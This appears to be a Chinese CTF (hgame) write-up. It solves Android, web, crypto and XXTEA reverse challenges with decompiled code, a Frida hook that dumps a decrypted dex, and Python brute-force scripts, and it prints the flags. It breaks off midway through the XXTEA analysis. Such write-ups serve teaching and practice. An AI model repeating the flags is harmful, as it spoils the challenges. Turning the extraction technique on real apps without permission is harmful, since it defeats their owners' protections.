sub_E20((__int64)v17, v14); //RC4
v7 = sub_1540(a1, 0x2Bu);
sub_1570(a1, v7, 0, 0x2Bu, (__int64)v17);
v6 = sub_15B0(a1, v13, v11, a3, v10, v9, v8, v7);
v4 = (const char *)sub_1360(a1, v6, (__int64)&v16);
__android_log_print(4LL, "Native", "Result is %s\nTry decrypto it, you will get flag! But realy?", v4); //输出
return __readfsqword(0x28u);
}

观察发现加密方式是典型的RC4加密,密文也已知,为[0x7A, 0xC7, 0xC7, 0x94, 0x51, 0x82, 0xF5, 0x99, 0x0C, 0x30, 0xC8, 0xCD, 0x97, 0xFE, 0x3D, 0xD2, 0xAE, 0x0E, 0xBA, 0x83, 0x59, 0x87, 0xBB, 0xC6, 0x35, 0xE1, 0x8C, 0x59, 0xEF, 0xAD, 0xFA, 0x94, 0x74, 0xD3, 0x42, 0x27, 0x98, 0x77, 0x54, 0x3B, 0x46, 0x5E, 0x95],但密钥却未知,结合java层的功能和对check的调用,猜测程序的目的是通过点击图片来生成的string对密文进行解密并输出日志,没有明显的判断对错的结构,遍历0.o、o.0和The length is too large开头的长度36位以内的密钥却没有得到任何一组可打印字符的明文,考虑是对字符串进行了某种处理,此外,启动adb查看logcat日志时发现,点击图片后输出的日志中的result是经过了base64加密的,且还是换表base64,所有字符串都以3结尾,至此得到大致的程序逻辑:通过点击图片产生的密钥,经过某种处理后用作RC4的密钥对密文进行加密,再经过未知的换表base64输出加密结果,查看Dexcall类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.nobody.zunjia;
import android.content.Context;
import dalvik.system.DexClassLoader;
import java.io.File;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

/* loaded from: classes3.dex */
public class DexCall {
static native File copyDexFromAssets(Context context, String str, File file);
static {
System.loadLibrary("zunjia");
System.loadLibrary("check");
}
public static Object callDexMethod(Context context, String dexFileName, String className, String methodName, Object input) {
File dexDir = new File(context.getCacheDir(), "dex");
if (dexDir.mkdir() || dexDir.setWritable(true)) {
File dexFile = copyDexFromAssets(context, dexFileName, dexDir);
try {
if (dexFile.exists() && dexFile.setReadOnly()) {
ClassLoader classLoader = context.getClassLoader();
DexClassLoader dexClassLoader = new DexClassLoader(dexFile.getAbsolutePath(), dexDir.getAbsolutePath(), null, classLoader);
Class<?> targetClass = dexClassLoader.loadClass(className);
Constructor<?> constructor = targetClass.getConstructor(new Class[0]);
constructor.setAccessible(true);
Object instance = constructor.newInstance(new Object[0]);
Method targetMethod = targetClass.getMethod(methodName, input.getClass());
Object result = targetMethod.invoke(instance, input);
dexFile.delete();
return result;
}
} catch (Exception e) {
if (dexFile.exists()) {
dexFile.delete();
}
e.printStackTrace();
}
}
return null;
}
}

结合values中的string.xml,callDexMethod方法将尝试从zunjia.dex文件中加载com.nobody.zundujiadu类,并查找名为 encode 的方法,使用传入的字符串 s 作为参数调用该方法,并将结果返回,但却没有找到encode方法,查看zunjia.dex发现居然是未知二进制文件,没有检测到dex格式,查看libzunjia.so,列出所有关键函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sub_0FF0	.text	0000000000000FF0	0000025A	000000B8		R	.	.	.	.	.	B	T	.
sub_1250 .text 0000000000001250 00000116 00000048 R . . . . . B T .
sub_1370 .text 0000000000001370 0000015A 00000048 R . . . . . B T .
sub_14D0 .text 00000000000014D0 00000038 0000001A R . . . . . B T .
sub_1510 .text 0000000000001510 00000086 00000030 R . . . . . B T .
sub_15A0 .text 00000000000015A0 00000031 00000012 R . . . . . B T .
sub_15E0 .text 00000000000015E0 00000284 000000C8 R . . . . . B T .
sub_1870 .text 0000000000001870 000003DA 000000B8 R . . . . . B T .
sub_1C50 .text 0000000000001C50 00000021 0000000C R . . . . . B T .
sub_1C80 .text 0000000000001C80 000000A7 00000038 R . . . . . B T .
sub_1D30 .text 0000000000001D30 0000012F 00000058 R . . . . . B . .
sub_1E60 .text 0000000000001E60 00000183 00000078 R . . . . . B . .
sub_1FF0 .text 0000000000001FF0 00000119 00000088 R . . . . . B . .
sub_2110 .text 0000000000002110 00000119 00000088 R . . . . . B T .
Java_co... .text 0000000000002230 000006A2 00000988 R . . . . . B T .

其中sub_15E0sub_2110sub_0FF0sub_1FF0是两组相近的函数(第一组是静态分析看上去被调用的函数),查看其中的加载方法(最后一个函数):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
__int64 __fastcall Java_com_nobody_zunjia_DexCall_copyDexFromAssets(
__int64 a1,
__int64 a2,
__int64 a3,
__int64 a4,
__int64 a5)
{
int v5; // ecx
int v6; // r8d
int v7; // r9d
int v8; // ecx
int v9; // r8d
int v10; // r9d
int *v11; // rax
char *v12; // rax
int v13; // r8d
int v14; // r9d
int v16; // [rsp+14h] [rbp-96Ch]
unsigned int v17; // [rsp+24h] [rbp-95Ch]
__int64 v18; // [rsp+28h] [rbp-958h]
__int64 v19; // [rsp+30h] [rbp-950h]
int v20; // [rsp+38h] [rbp-948h]
void *ptr; // [rsp+48h] [rbp-938h]
int v22; // [rsp+54h] [rbp-92Ch]
unsigned int fd; // [rsp+5Ch] [rbp-924h]
__int64 v24; // [rsp+60h] [rbp-920h]
const char *v25; // [rsp+68h] [rbp-918h]
__int64 v26; // [rsp+70h] [rbp-910h]
__int64 v27; // [rsp+78h] [rbp-908h]
int v28; // [rsp+80h] [rbp-900h]
__int64 v29; // [rsp+88h] [rbp-8F8h]
__int64 v30; // [rsp+90h] [rbp-8F0h]
__int64 v31; // [rsp+98h] [rbp-8E8h]
int v32; // [rsp+A0h] [rbp-8E0h]
__int64 v33; // [rsp+A8h] [rbp-8D8h]
int v36; // [rsp+C0h] [rbp-8C0h]
unsigned int v38; // [rsp+164h] [rbp-81Ch]
char v39[32]; // [rsp+170h] [rbp-810h] BYREF
int v40; // [rsp+190h] [rbp-7F0h]
char s[1032]; // [rsp+570h] [rbp-410h] BYREF
unsigned __int64 v42; // [rsp+978h] [rbp-8h]

v42 = __readfsqword(0x28u);
v36 = a3;
v33 = sub_28E0(a1, a3);
v32 = sub_2910(a1, v33, "getAssets", "()Landroid/content/res/AssetManager;");
v31 = sub_2950(a1, v36, v32, v5, v6, v7);
v30 = AAssetManager_fromJava(a1, v31);
v29 = sub_28E0(a1, a5);
v28 = sub_2910(a1, v29, "getAbsolutePath", "()Ljava/lang/String;");
v27 = sub_2950(a1, a5, v28, v8, v9, v10);
v26 = sub_2A40(a1, v27, 0LL);
v25 = (const char *)sub_2A40(a1, a4, 0LL);
memset(s, 0, 0x400uLL);
sub_2A80((unsigned int)s, 1024, 1024, (unsigned int)"%s/%s", v26, (_DWORD)v25);
v24 = AAssetManager_open(v30, v25, 2LL); //打开dex
if ( v24 )
{
fd = open(s, 66, 420LL);
if ( fd == -1 )
{
v17 = *(_DWORD *)__errno();
v11 = (int *)__errno();
v12 = strerror(*v11);
__android_log_print(6LL, "Native", "Failed to open target file: %s, errno: %d, error message: %s", s, v17, v12);
AAsset_close(v24);
sub_2B60(a1, a4, v25);
sub_2B60(a1, v27, v26);
return 0LL;
}
else
{
while ( 1 )
{
v22 = AAsset_read(v24, v39, 1024LL); //一次读取1024字节
if ( v22 <= 0 )
break;
if ( v22 % 8 ) //8字节解密一次
v16 = (v22 + 8 - v22 % 8) / 8;
else
v16 = v22 / 8;
ptr = malloc(8 * v16);
sub_2110(v39, (unsigned int)v22, ptr, (unsigned int)(8 * v16)); //解密函数?
__write_chk(fd, ptr, 8 * v16, -1LL);
free(ptr);
}
close(fd);
v38 = open(s, 66, 420LL);
__read_chk(v38, v39, 1024LL, 1024LL);
ftruncate(v38, v40);
close(v38);
AAsset_close(v24);
v20 = sub_2910(a1, v29, "<init>", "(Ljava/lang/String;)V");
v19 = sub_2BA0(a1, (__int64)s);
v18 = sub_2BD0(a1, v29, v20, v19, v13, v14);
sub_2B60(a1, a4, v25);
sub_2B60(a1, v27, v26);
sub_2CC0(a1, v19);
return v18;
}
}
else
{
__android_log_print(6LL, "Native", "Failed to open asset file: %s", v25);
sub_2B60(a1, a4, v25);
sub_2B60(a1, v27, v26);
return 0LL;
}
}

查看加密函数sub_2110以及一个相似的版本sub_1FF0:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 __fastcall sub_2110(__int64 a1, int a2, __int64 a3, int a4)
{
int i; // [rsp+4h] [rbp-7Ch]
__int64 v8[2]; // [rsp+70h] [rbp-10h] BYREF

v8[1] = __readfsqword(0x28u);
__memset_chk(a3, 0LL, a4, -1LL);
__memcpy_chk(a3, a1, a2, -1LL);
for ( i = 0; i < a4 / 8; ++i )
{
sub_15E0(*(_QWORD *)(a3 + 8LL * i), (__int64) "SevenIsBeautiful", v8); //解密函数?和密钥
*(_QWORD *)(a3 + 8LL * i) = v8[0];
}
return __readfsqword(0x28u);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 __fastcall sub_1FF0(__int64 a1, int a2, __int64 a3, int a4)
{
int i; // [rsp+4h] [rbp-7Ch]
__int64 v8[2]; // [rsp+70h] [rbp-10h] BYREF

v8[1] = __readfsqword(0x28u);
__memset_chk(a3, 0LL, a4, -1LL);
__memcpy_chk(a3, a1, a2, -1LL);
for ( i = 0; i < a4 / 8; ++i )
{
sub_FF0(*(_QWORD *)(a3 + 8LL * i), (__int64) "SevenIsBeautiful", v8); //解密函数?和密钥
*(_QWORD *)(a3 + 8LL * i) = v8[0];
}
return __readfsqword(0x28u);
}

其中sub_2110所对应的加密过程会在sub_1E60陷入死循环(有一个while v12>1但却没有更新v12的循环),而sub_1FF0则没有这一步骤,并且sub_1FF0也没有任何xref,猜测可能存在反调试,sub_1FF0即为正确的加密,由于复现这个加密过于麻烦,直接使用frida动调,在DexCall方法delete掉解密的zunjia.dex前dump这个dex:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import frida
import sys
import os

def on_message(message, data):
if message['type'] == 'send':
payload = message['payload']
if payload.get('type') == 'dex_content':
dex_content = bytes(payload.get('content'))
output_path = "E:/CTF/zunjia.dex"
with open(output_path, 'wb') as f:
f.write(dex_content)
print(f"Dex dumped to {os.path.abspath(output_path)}")

# JavaScript注入代码
jscode = """
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
Java.perform(function() {
var File = Java.use('java.io.File');
var FileInputStream = Java.use('java.io.FileInputStream');
var ByteArrayOutputStream = Java.use('java.io.ByteArrayOutputStream');
File.delete.overload().implementation = function() {
var path = this.getAbsolutePath();
if (path.endsWith('zunjia.dex')) {
console.log('Detected deletion of Dex file: ' + path);
if (!this.exists()) {
console.error("File does not exist: " + path);
return this.delete();
}
if (!this.canRead()) {
console.error("No read permission for the file: " + path);
return this.delete();
}
try {
var fis = FileInputStream.$new(this);
console.log("File opened successfully.");
var bos = ByteArrayOutputStream.$new();
var buffer = Java.array('byte', Array(1024).fill(0));
var bytesRead;
while ((bytesRead = fis.read(buffer)) != -1) {
bos.write(buffer, 0, bytesRead);
}
fis.close();
var byteArray = bos.toByteArray();
var resultArray = [];
for (var i = 0; i < byteArray.length; i++) {
resultArray.push(byteArray[i] & 0xFF);
}
bos.close();
send({type: "dex_content", content: resultArray});
} catch (e) {
console.error("Exception occurred while reading file: " + e);
console.error("Stack trace: " + (e.stack ? e.stack : "No stack trace available"));
return this.delete();
}
}
return this.delete();
};
});
"""
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def main(target_process):
# 通过包名启动并附加到应用
device = frida.get_usb_device()
pid = device.spawn([target_process])
session = device.attach(pid)

script = session.create_script(jscode)
script.on('message', on_message)
print('[*] Attaching from the process.')
script.load()
# 继续应用的执行
device.resume(pid)
try:
sys.stdin.read()
except KeyboardInterrupt:
print("[*] Detaching from the process.")
session.detach()

if __name__ == "__main__":
process = frida.get_usb_device(-1).enumerate_processes()
print(process)
if len(sys.argv) != 2:
print("Usage: python dump_dex.py <package_name>")
sys.exit(1)
target_process = sys.argv[1]
main(target_process)

运行后点击图片获得转储出来的dex文件,反编译查看encode方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
package com.nobody;
/* loaded from: E:\CTF\zunjia.dex */
public class zundujiadu {
private static final String CUSTOM_ALPHABET = "3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5";
private static final int[] DECODE_TABLE = new int[128];
public zundujiadu() {
for (int i = 0; i < DECODE_TABLE.length; i++) {
DECODE_TABLE[i] = -1;
}
for (int i2 = 0; i2 < CUSTOM_ALPHABET.length(); i2++) {
DECODE_TABLE[CUSTOM_ALPHABET.charAt(i2)] = i2;
}
}

public String encode(String str) {
int i;
byte b;
byte b2;
if (str == null) {
return null;
}

byte[] bytes = str.getBytes();
int length = bytes.length;
for (int i2 = 0; i2 < length; i2++) {
bytes[i2] = (byte) (bytes[i2] ^ i2);
}

byte[] bArr = new byte[((length + 2) / 3) * 4];
int i3 = 0;
int i4 = 0;
while (i3 < length) {
int i5 = i3 + 1;
byte b3 = bytes[i3];
if (i5 < length) {
i = i5 + 1;
b = bytes[i5];
} else {
i = i5;
b = 0;
}
if (i < length) {
i++;
b2 = bytes[i];
} else {
b2 = 0;
}
int i6 = ((b3 & 255) << 16) | ((b & 255) << 8) | (b2 & 255);
int i7 = i4 + 1;
bArr[i4] = (byte) CUSTOM_ALPHABET.charAt((i6 >> 18) & 63);
int i8 = i7 + 1;
bArr[i7] = (byte) CUSTOM_ALPHABET.charAt((i6 >> 12) & 63);
int i9 = i8 + 1;
bArr[i8] = (byte) CUSTOM_ALPHABET.charAt((i6 >> 6) & 63);
i4 = i9 + 1;
bArr[i9] = (byte) CUSTOM_ALPHABET.charAt(i6 & 63);
i3 = i;
}
return new String(bArr);
}

public String encode(byte[] bArr) {
int i;
byte b;
byte b2;
if (bArr == null) {
return null;
}
int length = bArr.length;
for (int i2 = 0; i2 < length; i2++) {
bArr[i2] = (byte) (bArr[i2] ^ i2);
}
byte[] bArr2 = new byte[((length + 2) / 3) * 4];
int i3 = 0;
int i4 = 0;
while (i3 < length) {
int i5 = i3 + 1;
byte b3 = bArr[i3];
if (i5 < length) {
i = i5 + 1;
b = bArr[i5];
} else {
i = i5;
b = 0;
}
if (i < length) {
i++;
b2 = bArr[i];
} else {
b2 = 0;
}
int i6 = ((b3 & 255) << 16) | ((b & 255) << 8) | (b2 & 255);
int i7 = i4 + 1;
bArr2[i4] = (byte) CUSTOM_ALPHABET.charAt((i6 >> 18) & 63);
int i8 = i7 + 1;
bArr2[i7] = (byte) CUSTOM_ALPHABET.charAt((i6 >> 12) & 63);
int i9 = i8 + 1;
bArr2[i8] = (byte) CUSTOM_ALPHABET.charAt((i6 >> 6) & 63);
i4 = i9 + 1;
bArr2[i9] = (byte) CUSTOM_ALPHABET.charAt(i6 & 63);
i3 = i;
}
return new String(bArr2);
}

public String decode(String str) {
if (str == null) {
return null;
}
String replace = str.replace("=", "");
int length = replace.length();
if (length % 4 == 0) {
int i = (length * 3) / 4;
byte[] bArr = new byte[i];
int i2 = 0;
int i3 = 0;
while (i2 < length) {
int i4 = 0;
int i5 = 0;
while (i4 < 4) {
int i6 = i2 + 1;
char charAt = replace.charAt(i2);
if (charAt < 0 || charAt >= DECODE_TABLE.length || DECODE_TABLE[charAt] == -1) {
throw new IllegalArgumentException("输入的 Base64 字符串包含非法字符: " + charAt);
}
i5 |= DECODE_TABLE[charAt] << ((3 - i4) * 6);
i4++;
i2 = i6;
}
int i7 = i3 + 1;
bArr[i3] = (byte) ((i5 >> 16) & 255);
if (i7 < i) {
bArr[i7] = (byte) ((i5 >> 8) & 255);
i7++;
}
if (i7 < i) {
i3 = i7 + 1;
bArr[i7] = (byte) (i5 & 255);
} else {
i3 = i7;
}
}
for (int i8 = 0; i8 < i3; i8++) {

bArr[i8] = (byte) (bArr[i8] ^ i8);
}
return new String(bArr, 0, i3);
}
throw new IllegalArgumentException("输入的 Base64 字符串长度不是 4 的倍数");
}
}

找到了这个自定义base64表:3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5,同时还发现了一个简单异或加密,测试发现是把生成的base64字符串带入和上文所给的密文进行RC4解密,构造python脚本实现相同效果,并爆破枚举0.o与o.0构成的字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import base64
import itertools

class Zundujiadu:
CUSTOM_ALPHABET = "3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5"
STANDARD_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
DECODE_TABLE = {char: index for index, char in enumerate(CUSTOM_ALPHABET)}

def encode(self, data):
if isinstance(data, str):
data = data.encode('utf-8')
xor_data = bytes([byte ^ i for i, byte in enumerate(data)])
encoded = self.base64_encode(xor_data)
return ''.join(self.CUSTOM_ALPHABET[self.STANDARD_ALPHABET.index(c)] for c in encoded), xor_data

def decode(self, data):
translated = ''.join(self.STANDARD_ALPHABET[self.DECODE_TABLE[char]]
for char in data if char in self.DECODE_TABLE)
decoded = self.base64_decode(translated)
return bytes([byte ^ i for i, byte in enumerate(decoded)]).decode('utf-8', errors='replace')

@staticmethod
def base64_encode(data):
missing_padding = len(data) % 3
if missing_padding:
data += b'=' * (3 - missing_padding)
return base64.b64encode(data).decode('utf-8').rstrip('=')

@staticmethod
def base64_decode(data):
data = data + '=' * (-len(data) % 4)
return base64.b64decode(data)

def rc4_encrypt(key, plaintext):
def ksa(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box

def prga(s_box, length):
i = 0
j = 0
keystream = []
for _ in range(length):
i = (i + 1) % 256
j = (j + s_box[i]) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
k = s_box[(s_box[i] + s_box[j]) % 256]
keystream.append(k)
return keystream

s_box = ksa(key)
keystream = prga(s_box, len(plaintext))
ciphertext = bytearray([p ^ k for p, k in zip(plaintext, keystream)])
hex_array = ', '.join(f'0x{byte:02X}' for byte in ciphertext)
return hex_array, ciphertext

if __name__ == "__main__":
codec = Zundujiadu()
encflag = b"\x7a\xc7\xc7\x94\x51\x82\xf5\x99\x0c\x30\xc8\xcd\x97\xfe\x3d\xd2\xae\x0e\xba\x83\x59\x87\xbb\xc6\x35\xe1\x8c\x59\xef\xad\xfa\x94\x74\xd3\x42\x27\x98\x77\x54\x3b\x46\x5e\x95"

with open("E:/CTF/output.txt", "w") as file:
for pattern in itertools.product(('0.o', 'o.0'), repeat=12):
original_string = ''.join(pattern)[:36]
encoded_string, xored_string = codec.encode(original_string)
decrypted_hex_array = rc4_encrypt(encoded_string, encflag)

file.write(f"Original: {original_string}\n")
file.write(f"Encoded: {encoded_string}, {xored_string}\n")
file.write(f"Decrypted Hex Array: [{decrypted_hex_array[0]}]\n")
file.write(f"Text: [{decrypted_hex_array[1]}]\n\n")

print("爆破结束.")

查找txt中的hgame,得到密钥与flag:

1
2
3
4
5
6
7
Original: o.00.oo.00.oo.0o.00.o0.o0.o0.o0.oo.0

Encoded: lsCsRs06kc/yTc=/isREiIyXNZvBOdXyPInvPtOsQZKUdWqd, b'o/23\*ji)89$dc#>`>!"={%8x(7u+2r.1ON\x0c\x13'

Decrypted Hex Array: [0x68, 0x67, 0x61, 0x6D, 0x65, 0x7B, 0x34, 0x61, 0x66, 0x31, 0x35, 0x33, 0x62, 0x39, 0x2D, 0x65, 0x64, 0x33, 0x65, 0x2D, 0x34, 0x32, 0x30, 0x62, 0x2D, 0x39, 0x37, 0x38, 0x63, 0x2D, 0x65, 0x65, 0x66, 0x66, 0x37, 0x32, 0x33, 0x31, 0x38, 0x62, 0x34, 0x39, 0x7D]

Text: [bytearray(b'hgame{4af153b9-ed3e-420b-978c-eeff72318b49}')]

则flag为hgame{4af153b9-ed3e-420b-978c-eeff72318b49}.

Web:

Level 24 Pacman:

在index.js找到两个base64:aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ==aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=,分别对应haepaiemkspretgm{rtc_ae_efc}haeu4epca_4trgm{_r_amnmse},解栅栏密码得到hgame{pratice_makes_perfect}hgame{u_4re_pacman_m4ster},其中第二个是flag.

赛题轮次:Week 2

Crypto方向:

Ancient Recall:

观察发现是随机抽取塔罗牌,然后对其代表的索引进行相邻加和(也就是对于a、b、c、d、e,新的数组是a+b、b+c、c+d、d+e、e+a),加和了250次后输出,然后找到对应的索引输出新的名字,写出脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def wheel(FATE):
FATEd = [((FATE[i]+FATE[(i+1) % 5]) % 78) for i in range(len(FATE))]
return FATEd

def de_wheel(array):
new_array = [None]*5
total = int(sum(array) / 2)
for i in range(5):
new_array[i] = (total - array[(i + 1) % 5] - array[(i + 3) % 5])
return new_array

array = [2532951952066291774890498369114195917240794704918210520571067085311474675019,
2532951952066291774890327666074100357898023013105443178881294700381509795270,
2532951952066291774890554459287276604903130315859258544173068376967072335730,
2532951952066291774890865328241532885391510162611534514014409174284299139015,
2532951952066291774890830662608134156017946376309989934175833913921142609334]
array2 = [None]*5
for i in range(5):
array2[i] = array[i] % 78
print(array2)
for i in range(250):
array = de_wheel(array)
print(array)
for i in range(250):
array = wheel(array)
print(array)

输出原来的牌组索引:[-19, -20, 20, -15, 41],其中负数的是因为在生成时加入了re-的前缀,并且异或了-1,则原来的值是[18, 19, 20, 14, 41],其中第1、2、4张牌是re-前缀的,找到这些索引对应的牌名,拼凑起来得到flag:

hgame{re-The_Moon&re-The_Sun&Judgement&re-Temperance&Six_of_Cups}.

Reverse方向:

Signin:

反编译观察主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __fastcall main_0(int argc, const char **argv, const char **envp)
{
char *v3; // rdi
__int64 i; // rcx
char v6; // [rsp+20h] [rbp+0h] BYREF
char Str1[6]; // [rsp+30h] [rbp+10h] BYREF
char Source[82]; // [rsp+36h] [rbp+16h] BYREF
char Destination[264]; // [rsp+88h] [rbp+68h] BYREF

v3 = &v6;
for ( i = 42i64; i; --i )
{
*(_DWORD *)v3 = 0xCCCCCCCC;
v3 += 4;
}
j___CheckForDebuggerJustMyCode(&unk_7FF7035370A3, argv, envp);
sub_7FF703473792((__int64)Str1, 0i64, 64i64);
sub_7FF703472941("password:");
sub_7FF70347180C("%44s", Str1);
if ( (unsigned int)sub_7FF703472EC3() && (unsigned int)sub_7FF7034734F9() )
{
if ( !j_strncmp(Str1, "hgame{", 6ui64)
&& (j_strncpy(Destination, Source, 0x24ui64), (unsigned int)sub_7FF7034714D3((__int64)Destination)) )
{
j_puts("right");
}
else
{
j_puts("wrong");
}
}
else
{
j_puts("error\n");
}
return 0;
}

观察sub_7FF7034714D3所指向的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall sub_7FF703478820(__int64 a1, __int64 a2, __int64 a3)
{
int i; // [rsp+24h] [rbp+4h]

j___CheckForDebuggerJustMyCode(&unk_7FF7035370A3, a2, a3);
sub_7FF7034716EF(a1, dword_7FF70352B2A0, qword_7FF70352B880);
for ( i = 0; i < 36; ++i )
{
if ( *(unsigned __int8 *)(a1 + i) != (unsigned __int8)a0[i] )
return 0i64;
}
return 1i64;
}

则sub_7FF7034716EF应该是加密函数,密文为a0:[0x23, 0xEA, 0x50, 0x30, 0x00, 0x4C, 0x51, 0x47, 0xEE, 0x9C, 0x76, 0x2B, 0xD5, 0xE6, 0x94, 0x17, 0xED, 0x2B, 0xE4, 0xB3, 0xCB, 0x36, 0xD5, 0x61, 0xC0, 0xC2, 0xA0, 0x7C, 0xFE, 0x67, 0xD7, 0x5E, 0xAF, 0xE0, 0x79, 0xC5],密钥为dword_7FF70352B2A0:[0x97A25FB5, 0x93E1C763, 0xA143464A, 0x5A8F284F],观察加密函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 __fastcall sub_7FF703478E70(_DWORD *a1, __int64 a2, __int64 a3)
{
__int64 result; // rax
unsigned int v4; // [rsp+24h] [rbp+4h]
unsigned int v5; // [rsp+44h] [rbp+24h]
unsigned int v6; // [rsp+64h] [rbp+44h]
unsigned int i; // [rsp+84h] [rbp+64h]
unsigned int v8; // [rsp+A4h] [rbp+84h]
int v9; // [rsp+C4h] [rbp+A4h]
int v10; // [rsp+194h] [rbp+174h]
int v11; // [rsp+194h] [rbp+174h]

j___CheckForDebuggerJustMyCode(&unk_7FF7035370A3, a2, a3);
v8 = 11;
v6 = 0;
v5 = a1[8];
do
{
v6 += *(_DWORD *)(a3 + 4i64 * (v8 % 4));
v9 = (v6 >> 2) & 3;
for ( i = 0; i < 8; ++i )
{
v4 = a1[i + 1];
v10 = (((v5 ^ *(_DWORD *)(a2 + 4i64 * (v9 ^ i & 3))) + (v4 ^ v6)) ^ (((16 * v5) ^ (v4 >> 3)) + ((4 * v4) ^ (v5 >> 5)))) + a1[i];
a1[i] = v10;
v5 = v10;
}
v11 = (((v5 ^ *(_DWORD *)(a2 + 4i64 * (v9 ^ i & 3))) + (*a1 ^ v6)) ^ (((16 * v5) ^ (*a1 >> 3)) + ((4 * *a1) ^ (v5 >> 5)))) + a1[8];
a1[8] = v11;
v5 = v11;
result = --v8;
}
while ( v8 );
return result;
}

发现是XXTEA,重构加密函数:

1
2
3
4
5
6
7
for v8 in range(11,0,-1):
v6 += a3[v8 % 4]
v9 = (v6 >> 2) & 3
for i in range(9):
after = a1[(i + 1) % 9]
before = a1[(i - 1) % 9]
a1[i] = (a1[i] + (((before ^ a2[v9 ^ i & 3]) + (after ^ v6)) ^ (((before << 4) ^ (after >> 3)) + ((after << 2) ^ (before >> 5))))) & 0xFFFFFFFF

运行发现结果相同,写出逆向解密函数:

1
2
3
4
5
6
7
for v8 in range(1,12):
v6 += a3[v8 % 4]
v9 = (v6 >> 2) & 3
for i in range(8,-1,-1):
after = a1[(i + 1) % 9]
before = a1[(i - 1) % 9]
a1[i] = (a1[i] - (((before ^ a2[v9 ^ i & 3]) + (after ^ v6)) ^ (((before << 4) ^ (after >> 3)) + ((after << 2) ^ (before >> 5))))) & 0xFFFFFFFF

带入密文解密得到的却是乱码,检查带入的key(a2),发现a2的数值是动态的,查找a2的xref研究a2的生成过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall sub_7FF69C8D8670(__int64 a1, __int64 a2, __int64 a3)
{
char *v4; // [rsp+48h] [rbp+28h]
int i; // [rsp+64h] [rbp+44h]

j___CheckForDebuggerJustMyCode((__int64)&unk_7FF69C9970A3, a2, a3);
v4 = (char *)j_j_j__malloc_base(0x10000ui64);
sub_7FF69C8D3792((__int64)v4, 0i64, 0x10000i64);
sub_7FF69C8D29C8(v4, main, 0x10000i64);
sub_7FF69C8D11D6();
for ( i = 0; i < 4; ++i )
key[i] = sub_7FF69C8D1AB4(&v4[0x4000 * i], 0x4000i64);
return 1i64;
}

其中这两个函数涉及到了密钥的产生,查看这两个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall sub_7FF69C8D88D0(__int64 a1, __int64 a2, __int64 a3)
{
__int64 result; // rax
unsigned int v4; // [rsp+24h] [rbp+4h]
int i; // [rsp+44h] [rbp+24h]
int j; // [rsp+64h] [rbp+44h]

result = j___CheckForDebuggerJustMyCode((__int64)&unk_7FF69C9970A3, a2, a3);
for ( i = 0; i < 256; ++i )
{
v4 = i;
for ( j = 0; j < 8; ++j )
{
if ( (v4 & 1) != 0 )
v4 = (v4 >> 1) ^ 0xEDB88320;
else
v4 >>= 1;
}
ALLCRC[i] = v4;
result = (unsigned int)(i + 1);
}
return result;
}

发现第一个函数生成了一个256项的CRC32查找表,再看第二个函数:

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall sub_7FF69C8D8760(__int64 a1, unsigned __int64 a2, __int64 a3)
{
unsigned int v4; // [rsp+24h] [rbp+4h]
unsigned __int64 i; // [rsp+48h] [rbp+28h]

